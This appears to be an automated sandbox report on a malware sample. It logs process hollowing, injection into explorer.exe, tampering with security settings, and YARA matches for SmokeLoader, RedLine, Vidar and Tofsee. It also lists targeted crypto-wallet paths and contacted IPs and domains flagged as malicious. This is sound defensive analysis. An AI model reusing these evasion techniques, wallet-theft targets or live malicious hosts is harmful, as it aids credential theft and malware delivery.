Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Thread created: C:\Windows\explorer.exe EIP: 2E01930 Jump to behavior
Source: C:\Users\user\AppData\Roaming\icgujuh Thread created: unknown EIP: 5AA1930 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Thread created: unknown EIP: 5C11A40 Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Section unmapped: unknown base address: 400000 Jump to behavior
.NET source code references suspicious native API functions
Source: 1F0B.exe.13.dr, lennahCecivreSIledoMecivreSmetsyS10877.cs Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 1F0B.exe.13.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 31.0.1F0B.exe.de0000.2.unpack, lennahCecivreSIledoMecivreSmetsyS10877.cs Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 31.0.1F0B.exe.de0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 31.0.1F0B.exe.de0000.0.unpack, lennahCecivreSIledoMecivreSmetsyS10877.cs Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 31.0.1F0B.exe.de0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 31.2.1F0B.exe.de0000.0.unpack, lennahCecivreSIledoMecivreSmetsyS10877.cs Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 31.2.1F0B.exe.de0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 31.0.1F0B.exe.de0000.1.unpack, lennahCecivreSIledoMecivreSmetsyS10877.cs Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 31.0.1F0B.exe.de0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 31.0.1F0B.exe.de0000.3.unpack, lennahCecivreSIledoMecivreSmetsyS10877.cs Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 31.0.1F0B.exe.de0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 43.0.1F0B.exe.1e0000.3.unpack, lennahCecivreSIledoMecivreSmetsyS10877.cs Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 43.0.1F0B.exe.1e0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 43.0.1F0B.exe.1e0000.0.unpack, lennahCecivreSIledoMecivreSmetsyS10877.cs Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 43.0.1F0B.exe.1e0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 43.0.1F0B.exe.1e0000.2.unpack, lennahCecivreSIledoMecivreSmetsyS10877.cs Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 43.0.1F0B.exe.1e0000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 43.0.1F0B.exe.1e0000.1.unpack, lennahCecivreSIledoMecivreSmetsyS10877.cs Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 43.0.1F0B.exe.1e0000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 43.2.1F0B.exe.1e0000.0.unpack, lennahCecivreSIledoMecivreSmetsyS10877.cs Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 43.2.1F0B.exe.1e0000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Process created: C:\Users\user\Desktop\cz2ZyeL2Zd.exe "C:\Users\user\Desktop\cz2ZyeL2Zd.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\icgujuh Process created: C:\Users\user\AppData\Roaming\icgujuh C:\Users\user\AppData\Roaming\icgujuh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process created: C:\Users\user\AppData\Local\Temp\1F0B.exe C:\Users\user\AppData\Local\Temp\1F0B.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Process created: unknown unknown Jump to behavior
Source: svchost.exe, 00000009.00000002.542757750.000002BA2CB90000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.300934098.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.290723386.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.315217125.00000000011E0000.00000002.00020000.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 0000000D.00000000.300543499.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000D.00000000.314457860.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000D.00000000.290543586.0000000000B68000.00000004.00000020.sdmp Binary or memory string: Progman\Pr
Source: svchost.exe, 00000009.00000002.542757750.000002BA2CB90000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.291845597.0000000005E10000.00000004.00000001.sdmp, explorer.exe, 0000000D.00000000.300934098.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.290723386.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.315217125.00000000011E0000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: svchost.exe, 00000009.00000002.542757750.000002BA2CB90000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.300934098.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.290723386.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.315217125.00000000011E0000.00000002.00020000.sdmp Binary or memory string: Progman
Source: svchost.exe, 00000009.00000002.542757750.000002BA2CB90000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.300934098.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.290723386.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000D.00000000.315217125.00000000011E0000.00000002.00020000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 0000000D.00000000.321592440.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000D.00000000.295968840.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000D.00000000.308995090.0000000008778000.00000004.00000001.sdmp Binary or memory string: Shell_TrayWndh

Language, Device and Operating System Detection:

barindex
Contains functionality to query locales information (e.g. system language)
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo, 22_2_00437060
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: __nh_malloc_dbg,__malloc_dbg,__malloc_dbg,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_fix_grouping, 22_2_004379A0
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: ___getlocaleinfo,__malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,___crtLCMapStringW,___crtLCMapStringA,___crtLCMapStringA, 22_2_00424230
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: __crtGetLocaleInfoW_stat,_LocaleUpdate::~_LocaleUpdate, 22_2_0043FCC0
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: __nh_malloc_dbg,__malloc_dbg,__malloc_dbg,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_fix_grouping, 22_2_00437CF0
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: __crtGetLocaleInfoA_stat,_LocaleUpdate::~_LocaleUpdate, 22_2_0043FD30
Source: C:\Users\user\AppData\Local\Temp\5D68.exe Code function: ___crtGetLocaleInfoW,___crtGetLocaleInfoW,__nh_malloc_dbg,___crtGetLocaleInfoW,__nh_malloc_dbg,_strncpy_s,__invoke_watson_if_error,___crtGetLocaleInfoW,_isdigit, 22_2_00432530
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree, 23_2_0040AE00
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree, 23_2_02D2B050
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2B8.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Queries volume information: C:\Users\user\AppData\Local\Temp\1F0B.exe VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1F0B.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\user\Desktop\cz2ZyeL2Zd.exe Code function: 0_2_00406C80 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter, 0_2_00406C80
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_0040AD40 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA, 23_2_0040AD40
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_0040ACA0 GetProcessHeap,RtlAllocateHeap,GetUserNameA, 23_2_0040ACA0
Source: C:\Users\user\AppData\Local\Temp\EC9F.exe Code function: 23_2_00406C10 GetVersionExA,LoadLibraryA,WideCharToMultiByte,lstrlen,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,FreeLibrary, 23_2_00406C10

Lowering of HIPS / PFW / Operating System Security Settings:

barindex
Changes security center settings (notifications, updates, antivirus, firewall)
Source: C:\Windows\System32\svchost.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval Jump to behavior
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Source: C:\Windows\System32\svchost.exe WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA &apos;AntiVirusProduct&apos; OR TargetInstance ISA &apos;FirewallProduct&apos; OR TargetInstance ISA &apos;AntiSpywareProduct&apos;
Source: C:\Windows\System32\svchost.exe WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct
AV process strings found (often used to terminate AV products)
Source: svchost.exe, 0000000B.00000002.541972904.000001E9E2102000.00000004.00000001.sdmp, svchost.exe, 0000000B.00000002.541655250.000001E9E2029000.00000004.00000001.sdmp Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 0000000B.00000002.541734509.000001E9E203E000.00000004.00000001.sdmp Binary or memory string: *@V%ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

barindex
Yara detected RedLine Stealer
Source: Yara match File source: 31.2.1F0B.exe.443bbb0.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.2.1F0B.exe.42ffa30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.2.1F0B.exe.443bbb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.2.1F0B.exe.42ffa30.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001F.00000002.473714109.00000000041E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.473902157.0000000004351000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected SmokeLoader
Source: Yara match File source: 3.2.cz2ZyeL2Zd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.cz2ZyeL2Zd.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.1.cz2ZyeL2Zd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.icgujuh.2c315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.cz2ZyeL2Zd.exe.2dc15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.icgujuh.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.cz2ZyeL2Zd.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.1.icgujuh.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.cz2ZyeL2Zd.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.328560589.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.398652642.00000000023A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.377828277.0000000000680000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.328581526.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.377862377.00000000006A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.398263748.0000000000600000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000000.316265354.0000000002E01000.00000020.00020000.sdmp, type: MEMORY
Yara detected Vidar stealer
Source: Yara match File source: 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: EC9F.exe PID: 6732, type: MEMORYSTR
Yara detected Tofsee
Source: Yara match File source: 26.2.2B8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.2B8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.2B8.exe.47c0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.3.2B8.exe.47e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001A.00000003.426261967.00000000047E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.462876681.00000000047C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.461892339.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 2B8.exe PID: 5780, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: EC9F.exe, 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp String found in binary or memory: ElectrumLTC
Source: EC9F.exe, 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp String found in binary or memory: ElectronCash
Source: EC9F.exe, 00000017.00000002.413041502.0000000002E2A000.00000004.00000020.sdmp String found in binary or memory: \Electrum\wallets\
Source: EC9F.exe, 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp String found in binary or memory: Jaxx Liberty
Source: EC9F.exe, 00000017.00000002.413041502.0000000002E2A000.00000004.00000020.sdmp String found in binary or memory: window-state.json
Source: EC9F.exe, 00000017.00000002.413041502.0000000002E2A000.00000004.00000020.sdmp String found in binary or memory: exodus.conf.json
Source: EC9F.exe, 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp String found in binary or memory: info.seco
Source: EC9F.exe, 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp String found in binary or memory: \Exodus\
Source: EC9F.exe, 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp String found in binary or memory: ElectrumLTC
Source: EC9F.exe, 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp String found in binary or memory: passphrase.json
Source: EC9F.exe, 00000017.00000002.413041502.0000000002E2A000.00000004.00000020.sdmp String found in binary or memory: \jaxx\Local Storage\
Source: EC9F.exe, 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp String found in binary or memory: \Ethereum\
Source: EC9F.exe, 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp String found in binary or memory: \Exodus\
Source: EC9F.exe, 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp String found in binary or memory: Ethereum
Source: EC9F.exe, 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp String found in binary or memory: default_wallet
Source: EC9F.exe, 00000017.00000002.413041502.0000000002E2A000.00000004.00000020.sdmp String found in binary or memory: file__0.localstorage
Source: EC9F.exe, 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp String found in binary or memory: \MultiDoge\
Source: EC9F.exe, 00000017.00000002.413041502.0000000002E2A000.00000004.00000020.sdmp String found in binary or memory: \Exodus\exodus.wallet\
Source: EC9F.exe, 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp String found in binary or memory: seed.seco
Source: EC9F.exe, 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp String found in binary or memory: keystore
Source: EC9F.exe, 00000017.00000002.413041502.0000000002E2A000.00000004.00000020.sdmp String found in binary or memory: \Electrum-LTC\wallets\
Yara detected Credential Stealer
Source: Yara match File source: 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: EC9F.exe PID: 6732, type: MEMORYSTR

Remote Access Functionality:

barindex
Yara detected RedLine Stealer
Source: Yara match File source: 31.2.1F0B.exe.443bbb0.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.2.1F0B.exe.42ffa30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.2.1F0B.exe.443bbb0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 31.2.1F0B.exe.42ffa30.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001F.00000002.473714109.00000000041E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001F.00000002.473902157.0000000004351000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected Vidar
Source: Yara match File source: dump.pcap, type: PCAP
Yara detected SmokeLoader
Source: Yara match File source: 3.2.cz2ZyeL2Zd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.cz2ZyeL2Zd.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.1.cz2ZyeL2Zd.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 17.2.icgujuh.2c315a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.cz2ZyeL2Zd.exe.2dc15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.2.icgujuh.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.cz2ZyeL2Zd.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 18.1.icgujuh.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.0.cz2ZyeL2Zd.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.328560589.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.398652642.00000000023A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.377828277.0000000000680000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.328581526.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.377862377.00000000006A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.398263748.0000000000600000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000000.316265354.0000000002E01000.00000020.00020000.sdmp, type: MEMORY
Yara detected Vidar stealer
Source: Yara match File source: 00000017.00000002.413054469.0000000002E46000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: EC9F.exe PID: 6732, type: MEMORYSTR
Yara detected Tofsee
Source: Yara match File source: 26.2.2B8.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.2B8.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.2.2B8.exe.47c0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 26.3.2B8.exe.47e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000001A.00000003.426261967.00000000047E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.462876681.00000000047C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.461892339.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 2B8.exe PID: 5780, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 549822 Sample: cz2ZyeL2Zd.exe Startdate: 09/01/2022 Architecture: WINDOWS Score: 100 76 host-data-coin-11.com 2->76 78 amogohuigotuli.at 2->78 88 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->88 90 Multi AV Scanner detection for domain / URL 2->90 92 Found malware configuration 2->92 94 16 other signatures 2->94 11 cz2ZyeL2Zd.exe 2->11         started        13 icgujuh 2->13         started        15 svchost.exe 2->15         started        18 10 other processes 2->18 signatures3 process4 dnsIp5 21 cz2ZyeL2Zd.exe 11->21         started        24 icgujuh 13->24         started        132 Changes security center settings (notifications, updates, antivirus, firewall) 15->132 26 MpCmdRun.exe 1 15->26         started        80 192.168.2.1 unknown unknown 18->80 signatures6 process7 signatures8 116 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 21->116 118 Maps a DLL or memory area into another process 21->118 120 Checks if the current machine is a virtual machine (disk enumeration) 21->120 28 explorer.exe 6 21->28 injected 122 Creates a thread in another existing process (thread injection) 24->122 33 conhost.exe 26->33         started        process9 dnsIp10 82 amogohuigotuli.at 28->82 84 185.233.81.115, 443, 49771 SUPERSERVERSDATACENTERRU Russian Federation 28->84 86 18 other IPs or domains 28->86 66 C:\Users\user\AppData\Roaming\icgujuh, PE32 28->66 dropped 68 C:\Users\user\AppData\Roaming\ecgujuh, PE32 28->68 dropped 70 C:\Users\user\AppData\Local\TempC9F.exe, PE32 28->70 dropped 72 10 other files (7 malicious) 28->72 dropped 124 System process connects to network (likely due to code injection or exploit) 28->124 126 Benign windows process drops PE files 28->126 128 Deletes itself after installation 28->128 130 Hides that the sample has been downloaded from the Internet (zone.identifier) 28->130 35 EC9F.exe 28->35         started        38 5D68.exe 28->38         started        40 1F0B.exe 3 28->40         started        42 2B8.exe 2 28->42         started        file11 signatures12 process13 file14 96 Detected unpacking (changes PE section rights) 35->96 98 Detected unpacking (overwrites its own PE header) 35->98 100 Found evasive API chain (may stop execution after checking mutex) 35->100 112 4 other signatures 35->112 102 Multi AV Scanner detection for dropped file 38->102 104 Machine Learning detection for dropped file 38->104 106 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 38->106 114 3 other signatures 38->114 108 Sample uses process hollowing technique 40->108 110 Injects a PE file into a foreign processes 40->110 45 1F0B.exe 40->45         started        64 C:\Users\user\AppData\Local\...\rljdetbq.exe, PE32 42->64 dropped 47 cmd.exe 1 42->47         started        50 cmd.exe 2 42->50         started        52 sc.exe 1 42->52         started        54 sc.exe 1 42->54         started        signatures15 process16 file17 74 C:\Windows\SysWOW64\...\rljdetbq.exe (copy), PE32 47->74 dropped 56 conhost.exe 47->56         started        58 conhost.exe 50->58         started        60 conhost.exe 52->60         started        62 conhost.exe 54->62         started        process18
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
188.166.28.199
 unknown Netherlands
14061 DIGITALOCEAN-ASNUS false
148.0.74.229
 unknown Dominican Republic
6400 CompaniaDominicanadeTelefonosSADO false
54.38.220.85
 unicupload.top France
16276 OVHFR true
211.169.6.249
 amogohuigotuli.at Korea Republic of
3786 LGDACOMLGDACOMCorporationKR true
175.126.109.15
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
162.159.130.233
 cdn.discordapp.com United States
13335 CLOUDFLARENETUS false
185.233.81.115
 unknown Russian Federation
50113 SUPERSERVERSDATACENTERRU true
185.7.214.171
 unknown France
42652 DELUNETDE false
211.119.84.112
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
47.251.44.201
 host-data-coin-11.com United States
45102 CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC true
67.199.248.14
 bitly.com United States
396982 GOOGLE-PRIVATE-CLOUDUS false
187.232.210.249
 unknown Mexico
